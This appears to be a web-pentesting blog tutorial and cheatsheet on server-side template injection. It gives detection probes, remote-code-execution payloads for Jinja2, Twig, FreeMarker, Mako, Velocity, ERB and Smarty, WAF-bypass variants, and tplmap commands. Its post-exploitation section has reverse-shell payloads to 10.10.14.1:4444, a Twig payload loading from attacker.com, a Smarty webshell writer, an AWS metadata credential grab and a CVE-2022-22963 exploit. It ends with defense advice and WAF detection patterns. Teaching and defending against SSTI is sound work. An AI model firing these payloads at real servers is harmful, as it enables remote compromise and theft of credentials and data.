Server-Side Template Injection (SSTI) is one of the most dangerous web vulnerabilities you’ll encounter. A simple {{7*7}} in the right field can hand you full remote code execution on a production server. This guide covers everything — detection, fingerprinting, exploitation, WAF bypass, and defense — for every major template engine in 2026.

What Is SSTI?

Web frameworks use template engines to render dynamic content — think Flask with Jinja2, PHP apps with Twig, Java apps with FreeMarker. When user input is concatenated directly into a template string rather than passed as a variable, the template engine evaluates it. That’s SSTI.

The difference between safe and vulnerable:

# Safe — user input as data
template = Template("Hello {{ name }}")
template.render(name=user_input)

# Vulnerable — user input in the template itself
template = Template("Hello " + user_input)
template.render()

In the vulnerable version, if user_input is {{7*7}}, the output is Hello 49. The engine evaluated the expression. Now you own the template context.

Why SSTI Is So Dangerous

SSTI is categorized under Injection (A03:2021) in the OWASP Top 10. Unlike XSS, which runs in the victim’s browser, SSTI executes on the server. That means:

  • Direct access to server internals
  • File read/write on the host
  • Full RCE in most cases
  • Potential cloud metadata access (AWS/GCP/Azure IMDS)
  • Container escape paths in misconfigured environments

The blast radius is massive. A single SSTI in a low-privilege endpoint can lead to full infrastructure compromise.

Detection: Finding the Injection Point

Step 1 — Find Template-Reflected Input

Look for anywhere user input appears reflected in a response:

  • Name fields, greeting pages
  • Search terms rendered in results
  • Error messages that echo input
  • Email templates, report generators
  • PDF renderers, invoice systems
  • Subject lines, comment fields

Step 2 — Probe with Safe Polyglots

Start with a detection payload that won’t crash anything:

${ {<%[%'"}}%\.

If the response changes, throws an error, or shows partial output, you’ve likely hit a template engine. Now narrow it down.

Step 3 — Fingerprint the Engine

Different engines use different syntax. Use the decision tree:

{{7*7}}         → outputs 49?        → Jinja2 / Twig
${7*7}          → outputs 49?        → FreeMarker / Mako / Velocity
#{7*7}          → outputs 49?        → Ruby ERB
<%= 7*7 %>      → outputs 49?        → ERB / EJS
{7*7}           → outputs 49?        → Go templates / Smarty

For Jinja2 vs Twig disambiguation:

{{7*'7'}}   → outputs 7777777 = Jinja2
{{7*'7'}}   → outputs 49       = Twig

Template Engine Cheatsheet

Jinja2 (Python — Flask, Django indirect use)

Basic probe:

{{7*7}}
{{config}}
{{self}}

Read environment / config:

{{config.items()}}
{{request.environ}}
{{config['SECRET_KEY']}}

RCE via __class__ chain:

{{''.__class__.__mro__[1].__subclasses__()}}

Find the subprocess.Popen or os.system class index, then:

{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()}}

The index varies by environment. Use this to enumerate:

{% for i in range(500) %}
  {% if ''.__class__.__mro__[1].__subclasses__()[i].__name__ == 'Popen' %}
    {{i}}
  {% endif %}
{% endfor %}

Simpler RCE via config + globals:

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

File read:

{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}

(Class 40 is typically file in Python 2; use open in Python 3 via the same chain)

Jinja2 sandbox escape (if sandboxed):

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

Twig (PHP — Symfony, Craft CMS, Drupal)

Basic probe:

{{7*7}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

RCE via _self.env:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

RCE via setHandler:

{{_self.env.setCache("ftp://attacker.com/exploit")}}{{_self.env.loadTemplate("exploit")}}

RCE in older Twig (<= 1.19.0):

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}

FreeMarker (Java — various enterprise apps)

Basic probe:

${7*7}
#{7*7}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ex("id")}

RCE:

<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
${ex("cat /etc/passwd")}

Alternative RCE:

<#assign classloader=product.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${ec.newInstance()("id")}

Mako (Python)

Basic probe:

${7*7}

RCE:

${__import__('os').popen('id').read()}
<%
  import os
  x = os.popen('id').read()
%>
${x}

Velocity (Java — Apache, older enterprise)

Basic probe:

#set($x = 7*7)${x}

RCE:

#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null))
#set($process=$runtime.exec("id"))
#set($inputStream=$process.getInputStream())
#set($inputStreamReader=new java.io.InputStreamReader($inputStream))
#set($bufferedReader=new java.io.BufferedReader($inputStreamReader))
#set($line=$bufferedReader.readLine())
${line}

Ruby ERB

Basic probe:

<%= 7*7 %>

RCE:

<%= `id` %>
<%= system("id") %>
<%= IO.popen('id').readlines() %>

Smarty (PHP)

Basic probe:

{$smarty.version}
{7*7}

RCE:

{php}echo `id`;{/php}
{system("id")}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

Tool: tplmap

tplmap automates SSTI detection and exploitation across all major engines.

# Install
git clone https://github.com/epinna/tplmap
cd tplmap && pip install -r requirements.txt

# Basic scan
python tplmap.py -u "https://target.com/page?name=*"

# POST request
python tplmap.py -u "https://target.com/submit" -d "name=*&submit=1"

# With cookies
python tplmap.py -u "https://target.com/page?name=*" --cookie "session=abc123"

# Interactive shell (if RCE found)
python tplmap.py -u "https://target.com/page?name=*" --os-shell

# File read
python tplmap.py -u "https://target.com/page?name=*" --file-read /etc/passwd

# Specify engine
python tplmap.py -u "https://target.com/page?name=*" --engine Jinja2

WAF Bypass Techniques

Encoding payloads

Hex encoding (Jinja2):

{{config.__class__.__init__.__globals__['\x6f\x73'].popen('\x69\x64').read()}}

Unicode bypass:

{{config.__class__.__init__.__globals__['os']['pop\u0065n']('id').read()}}

String concatenation:

{{'os'|attr('\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f')}}
{{request|attr('application')|attr('__globals__')|attr('__getitem__')('os')|attr('system')('id')}}

Bypassing keyword filters

If config, class, globals, or os are blocked:

# Use request object instead of config
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

# Attribute access via |attr filter
{{''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()}}

# String building
{% set a = 'o'+'s' %}
{{config.__class__.__init__.__globals__[a].popen('id').read()}}

Bypassing {{ filters

# Use {%print()%} instead of {{}}
{%print(config)%}
{%print(''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate())%}

Post-Exploitation

Once you have RCE via SSTI, standard post-ex applies:

Reverse shell:

# Jinja2
{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/10.10.14.1/4444 0>&1"').read()}}

# FreeMarker
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("bash -c {bash,-i,>&,/dev/tcp/10.10.14.1/4444,0>&1}")}

Cloud metadata (if on AWS):

# Via command execution
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

Environment variables (secrets):

{{config.items()}}
{{request.environ}}

Directory traversal to enumerate the server:

ls /; cat /etc/passwd; cat /proc/1/environ

Real-World Examples

CVE-2022-22963 — Spring Cloud Function SSTI (Spring4Shell adjacent)

Spring Cloud Function exposed a SSTI vulnerability via the spring.cloud.function.routing-expression header using SpEL (Spring Expression Language).

curl -X POST http://target.com:8080/functionRouter \
  -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("id")' \
  -d ''

CVSS 9.8. Affected Spring Cloud Function < 3.1.7, < 3.2.3.

Craft CMS / Twig SSTI (multiple CVEs)

Craft CMS had several SSTI vulnerabilities in template rendering endpoints. Authenticated users with template editing privileges could achieve RCE via Twig injection:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

HTB Labs — Common SSTI Machines

SSTI appears frequently in Hack The Box:

  • Bolt — Jinja2 SSTI in admin panel
  • Templated — Flask/Jinja2 from the ground up
  • Devzat — indirect SSTI path

Practice in an isolated lab before targeting real systems. Vultr and DigitalOcean let you spin up a cheap VPS to run intentionally vulnerable apps like DVWA, Juice Shop, or custom Flask/Django stacks.

👉 Spin up a practice VPS on Vultr — $6/month SSD instances work fine for web security labs.


SSTI in APIs and JSON Endpoints

SSTI isn’t limited to web forms. APIs that dynamically construct template strings from request bodies are equally vulnerable.

Test JSON fields:

curl -X POST https://target.com/api/report \
  -H 'Content-Type: application/json' \
  -d '{"title": "{{7*7}}", "body": "test"}'

Test HTTP headers:

curl -H "X-Custom-Header: {{7*7}}" https://target.com/api/data

Test URL parameters:

https://target.com/api/greet?name={{7*7}}

If any response contains 49, you have SSTI.


Defense: How to Actually Fix It

1. Never concatenate user input into templates

# BAD
Template("Hello " + user_input).render()

# GOOD
Template("Hello {{ name }}").render(name=user_input)

2. Use sandboxed environments

Jinja2 has a SandboxedEnvironment:

from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string(user_input)

Note: sandboxes can be bypassed. Prefer not rendering user-controlled templates at all.

3. Input validation

Reject {{, }}, {%, %}, ${}, #{}, <%, %> in fields that feed into templates. Allowlist, not blocklist.

4. WAF rules

Add SSTI detection patterns to your WAF:

  • \{\{.*\}\} (Jinja2/Twig)
  • \$\{.*\} (FreeMarker/Mako)
  • \#\{.*\} (Velocity)
  • <%.*%> (ERB)

5. Least privilege

Template rendering processes should run as restricted users with no access to credentials, cloud metadata endpoints, or sensitive files.


SSTI Cheatsheet (Quick Reference)

EngineDetectRCE
Jinja2{{7*7}}{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Twig{{7*7}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
FreeMarker${7*7}<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
Mako${7*7}${__import__('os').popen('id').read()}
Velocity#set($x=7*7)${x}Runtime.exec chain
ERB<%= 7*7 %><%= \id` %>`
Smarty{$smarty.version}{system("id")}

Practice Labs

  • TryHackMe — “SSTI” room, “Server-Side Template Injection” learning path
  • Hack The Box — Bolt, Templated (retired)
  • PortSwigger Web Security Academy — dedicated SSTI labs (free)
  • Local Flask/Jinja2 app — build one in 10 lines, inject yourself

PortSwigger’s labs are particularly good for SSTI — they cover all major engines with guided and unguided challenges.


What’s Next

SSTI is one piece of the web attack puzzle. Continue the series:

All part of the Web Application Pentesting Series .


Need professional-grade security content for your organization? CipherWrite delivers technical articles, reports, and documentation written by practitioners.